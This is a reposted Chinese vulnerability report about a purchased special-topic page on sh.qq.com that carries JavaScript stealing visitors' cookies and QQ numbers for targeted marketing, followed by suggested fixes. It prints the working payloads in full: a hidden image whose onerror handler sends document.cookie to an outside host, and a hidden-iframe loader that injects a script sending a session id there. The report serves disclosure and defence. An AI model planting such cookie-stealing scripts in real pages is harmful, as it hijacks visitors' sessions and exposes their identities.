网站地图    收藏   

主页 > 后端 > 网站安全 >

利腾讯大申网专题放置JS盗取用户cookies获取QQ及修

来源:自学PHP网    时间:2015-04-16 23:14 作者: 阅读:

[导读] 大申网专题审核不严,添加JS获取用户COOKIE,进而获取访客QQ号在内的COOKIE信息详细说明:利用购买的大申网(sh qq com)的专题上面放置JS,来获取访客COOKIES信息,进而提取访客QQ号,进...

大申网专题审核不严,添加JS获取用户COOKIE,进而获取访客QQ号在内的COOKIE信息
详细说明:
利用购买的大申网(sh.qq.com)的专题上面放置JS,来获取访客COOKIES信息,进而提取访客QQ号,进行针对性营销。
 
1.大申网上添加JS,获取cookies
 
sh.qq.com/zhuanti/adv/xgl.htm
 
 
 
document.write("<div style='display:none;'><img style=\"visibility:hidden\" onerror=\"this.src='http://qq.91jlz.com/?'+escape(document.cookie);\" src=\"http://w\" /></div>");

 

 
2.在网站中隐身加载加有cookie盗取的专题页:
 
;(function () {

var f = document.createElement('iframe'), a={id:'SKg-Ping',width:0, height:0, frameborder:0, scrolling:'no', onload:'var f=document.getElementById("SKg-Ping"); try{f.parentElement.removeChild(f);}catch(e){} delElement();'};

for(k in a) f.setAttribute(k, a[k]);

f.src='http://sh.qq.com/zhuanti/adv/xgl.htm?cj1odHRwJTNBJTJGJTJGYXh6LmZkbms5MS5jb20lMkYmZD1mZG5rOTEuY29tJnQ9JUU1JThDJUJCJUU5JTk5JUEyJUU0JUJCJThCJUU3JUJCJThELSVFNCVCOCU4QSVFNiVCNSVCNyVFNSVBNCU4RCVFNSVBNCVBNyVFNyU5RiVBRSVFNSVCMCU4RiVFNyU5NyU4NyVFNSU4QyVCQiVFOSU5OSVBMiZpZD0zNiZwPWh0dHAlM0ElMkYlMkZheHouZmRuazkxLmNvbSUyRnpqZmQlMkZ5eWpzJTJGJnRva2VuPTBmODdmZDc1NDQ2NDhkYTIzZjlhOTUzZjBiNTg3Yzgw';

document.body.appendChild(f);

delete f;



    window.delElement = function(){

        var ct = setInterval(function(){

            if((typeof LR_sid === 'string')&&(LR_sid.length>20)){

                window.clearInterval(ct);

                var f = document.createElement('script');

                f.src='http://qq.91jlz.com/cnzz.php?sid='+ LR_sid +'&r=0f87fd7544648da23f9a953f0b587c80';

                document.body.appendChild(f);

                delete f;

            }

        },2000);

    }



})();

 

 
 
 
 
有针对性的获取访客的IP,地区,QQ号,搜索关键词,访问页面地址,停留时间,这样就是一份精准的针对性的营销方式了。
 
当然盗取的cookies还有其它啥用途,暂未有机会测试。
 
 
检查这个专题的JS即知:http://sh.qq.com/zhuanti/adv/xgl.htm


修复方案:
1.加强对合作伙伴的审核
 
2.静态专题没必要放那么cookie或httponly
 
3.静止静态页被iframe
 
set 'X-Frame-Options' to 'SAMEORIGIN'

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论